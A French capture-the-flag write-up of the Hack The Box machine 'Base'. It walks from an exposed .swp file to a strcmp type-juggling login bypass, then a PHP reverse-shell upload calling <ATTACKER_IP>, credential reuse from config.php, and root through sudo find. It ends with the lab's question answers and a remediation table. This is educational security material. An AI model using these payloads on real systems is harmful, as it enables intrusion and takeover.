Base
| OS | Difficulty | Target |
|---|---|---|
| Linux | EASY | 10.129.x.x |
Résumé
Machine Linux exposant une application web PHP avec un fichier swap .swp exposé révélant le code source. La vulnérabilité strcmp permet un bypass d’authentification via type juggling. L’upload de fichiers non restreint donne un accès initial. La réutilisation de credentials permet un mouvement latéral vers un utilisateur privilégié.
Reconnaissance
Scan de ports
nmap -T4 <IP>PORT STATE SERVICE22/tcp open ssh80/tcp open httpScan détaillé
nmap -A -p 22,80 <IP>| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 7.6p1 Ubuntu |
| 80 | HTTP | Apache 2.4.29 (Ubuntu) |
Enumération
Directory busting
feroxbuster -u http://<IP> -w /path/to/wordlist -t 100raft-small-directories-lowercase.txt
Répertoires découverts :
/login/- Page de connexion/_uploaded/- Répertoire d’upload
Fichier swap exposé
En explorant /login/, un fichier .swp est accessible :
curl http://<IP>/login/login.php.swp -o login.php.swpstrings login.php.swpLe code source révèle :
- Utilisation de
strcmp()pour la validation - Inclusion de
config.phppour les credentials - Redirection vers
/upload.phpaprès authentification
if (strcmp($username, $_POST['username']) == 0) { if (strcmp($password, $_POST['password']) == 0) { $_SESSION['user_id'] = 1; header("Location: /upload.php");Exploitation
Bypass strcmp via Type Juggling
La fonction strcmp() comparée avec == 0 (comparaison faible) est vulnérable.
Si on envoie un array au lieu d’une string, strcmp() retourne NULL, et :
NULL == 0 // true (type juggling)Exploitation via Burp/Caido
Modifier la requête POST :
POST /login/login.php HTTP/1.1Host: <IP>Content-Type: application/x-www-form-urlencodedCookie: PHPSESSID=<session>
username[]=x&password[]=xRéponse : HTTP/1.1 302 Found → Location: /upload.php
Upload de webshell
Créer un fichier shell.php :
<?php$sock=fsockopen("<ATTACKER_IP>",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>Reverse shell
# Listenernc -lvnp 4444Uploader shell.php via /upload.php, puis déclencher :
http://<IP>/_uploaded/shell.phpShell obtenu en tant que www-data.
Upgrade du shell
python3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xterm# Ctrl+Zstty raw -echo && fgPost-exploitation
Enumération des credentials
cat /var/www/html/login/config.php<?php$username = "admin";$password = "**REDACTED**";Mouvement latéral
Lister les utilisateurs :
cat /etc/passwd | grep bashroot:x:0:0:root:/root:/bin/bashjohn:x:1000:1000:John:/home/john:/bin/bashRéutilisation du mot de passe :
su john# Password: **REDACTED**Escalade de privilèges
Enumération sudo
sudo -lUser john may run the following commands on base: (root : root) /usr/bin/findExploitation via GTFOBins
find avec sudo permet d’exécuter des commandes arbitraires :
sudo find . -exec /bin/sh \; -quit# iduid=0(root) gid=0(root) groups=0(root)Flags
cat /home/john/user.txtcat /root/root.txtQuestions HTB
| # | Question | Réponse |
|---|---|---|
| 1 | Which two TCP ports are open on the remote host? | 22,80 |
| 2 | What is the relative path on the webserver for the login page? | /login/login.php |
| 3 | How many files are present in the ‘/login’ directory? | 3 |
| 4 | What is the file extension of a swap file? | .swp |
| 5 | Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password? | strcmp |
| 6 | In which directory are the uploaded files stored? | _uploaded |
| 7 | Which user exists on the remote host with a home directory? | john |
| 8 | What is the password for the user present on the system? | **REDACTED** |
A retenir
| Vulnérabilité | Description | Remédiation |
|---|---|---|
| Fichier .swp exposé | Fichiers temporaires Vim accessibles publiquement | Configurer .htaccess pour bloquer les fichiers .swp, .bak, etc. |
| strcmp Type Juggling | Comparaison faible == 0 vulnérable aux arrays | Utiliser === 0 (comparaison stricte) ou hash_equals() |
| Upload non restreint | Pas de validation du type de fichier uploadé | Valider extension, MIME type, et stocker hors du webroot |
| Credentials en clair | Mot de passe stocké en clair dans config.php | Utiliser des variables d’environnement ou un gestionnaire de secrets |
| Password reuse | Même mot de passe pour l’app web et l’utilisateur système | Utiliser des mots de passe uniques par service |
| sudo find | Permet d’exécuter des commandes via -exec | Restreindre les binaires sudo, utiliser des alternatives sécurisées |
Outils utilisés
- nmap
- feroxbuster / ffuf
- strings
- Burp Suite / Caido
- netcat